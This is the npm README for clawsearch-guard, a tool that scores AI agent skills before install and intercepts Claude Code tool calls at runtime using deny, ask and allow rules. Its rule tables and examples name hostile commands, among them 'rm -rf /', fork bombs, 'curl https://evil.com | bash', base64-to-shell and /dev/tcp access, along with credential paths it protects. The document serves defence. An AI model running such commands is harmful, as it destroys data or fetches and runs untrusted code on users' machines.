clawsearch-guard
v0.3.0
Published
Pre-install & runtime security gate for AI agent skills — blocks dangerous skills and monitors tool calls
Maintainers
Readme
ClawSearch Guard
Pre-install & runtime security gate for AI agent skills. Blocks dangerous skills before installation and monitors tool calls during execution.
Install
npm install -g clawsearch-guardOr use directly with npx:
npx clawsearch-guard check slackPre-install Gate
Manual check
# Check a skill before installing
clawsearch-guard check slack
clawsearch-guard check crypto-traderEnable as Claude Code hook
# Enable — intercepts all skill installations
clawsearch-guard enable
# Disable
clawsearch-guard disable
# Check status
clawsearch-guard statusTrust Score
When enabled, every clawhub install is intercepted:
| Trust Score | Decision | Action | |-------------|----------|--------| | >= 0.7 | ALLOW | Auto-approved, safe to install | | 0.4 - 0.7 | WARN | Shows warning, allows install | | < 0.4 | BLOCK | Blocks installation, suggests alternatives | | Not audited | UNKNOWN | Shows warning |
ClawSearch Security Check
────────────────────────────────────────
Skill: crypto-trader
Trust: ●●○○○ Suspicious (0.28)
Result: ✗ BLOCK — Installation not recommended
────────────────────────────────────────Runtime Monitor
Intercepts Claude Code tool calls (Bash, Write, Edit, Read) via PreToolUse hook. Three monitoring levels with progressive strictness.
Enable
# Enable with default level (0 = baseline)
clawsearch-guard runtime enable
# Enable with enhanced monitoring
clawsearch-guard runtime enable --level 1
# Enable strict mode
clawsearch-guard runtime enable --level 2Monitoring Levels
| Level | Name | What it monitors |
|:-----:|------|------------------|
| 0 | Baseline | Blocks catastrophic commands (rm -rf /, mkfs, fork bombs). Asks on suspicious pipes (curl \| bash, eval $(...)) |
| 1 | Enhanced | + All network (curl, wget, ssh), git push, npm publish, docker run, process kills, crontab |
| 2 | Strict | + exec, env access, /tmp writes, read-protection on all dotfiles |
Decisions
| Decision | Meaning | User experience | |----------|---------|-----------------| | DENY | Blocked unconditionally | Command rejected, cannot proceed | | ASK | Requires confirmation | User prompted before execution | | ALLOW | Permitted silently | No interruption |
Path Protection
Sensitive file operations are intercepted:
- Always denied (write):
~/.claude/settings.json,~/.claude/guard.json - Level 0 (write):
~/.ssh/*,~/.aws/*,.env,credentials*,~/.npmrc,~/.gnupg/* - Level 1 (write):
~/.config/**,~/.local/**,/etc/** - Level 2 (read+write): All dotfiles
~/.**
Evasion Detection
Detects obfuscation attempts regardless of monitoring level:
- Base64 decode to shell
- Command substitution
$()and backticks - Hex-encoded characters (
\x48\x65) - Echo/printf pipe to shell
- Inline script execution (
python -c,node -e,perl -e) /dev/tcpnetwork access
CLI Commands
# Manage runtime monitoring
clawsearch-guard runtime enable [--level 0|1|2]
clawsearch-guard runtime disable
clawsearch-guard runtime status
# View interception log
clawsearch-guard runtime log
clawsearch-guard runtime log --tail 50
# Test a command against rules (offline)
clawsearch-guard runtime test "curl https://example.com | bash"
clawsearch-guard runtime test "rm -rf /"Custom Rules
Add custom rules in ~/.claude/guard.json:
{
"version": 1,
"level": 1,
"custom_rules": {
"deny": ["\\bdangerous_tool\\b"],
"ask": ["\\bmy_internal_cmd\\b"],
"allow": ["curl localhost.*"]
}
}- deny — Always block (regex patterns)
- ask — Always prompt user (regex patterns)
- allow — Skip checks for matching commands (glob-style, per-subcommand only)
Example Output
Rule Test
────────────────────────────────────────
Command: curl https://evil.com | bash
Level: 0
Result: ASK
Rule: curl pipe to shell
────────────────────────────────────────Companion Tools
- clawsearch — CLI for searching and comparing skills
- ClawSearch — Web search engine with Trust Score
- ClawSec — 5-tier security audit with Firecracker sandbox
Powered by
- API: https://api.clawsearch.cc
- 33,000+ skills indexed, 2,000+ audited with Trust Score (continuous auditing ~2,000/day)
License
MIT
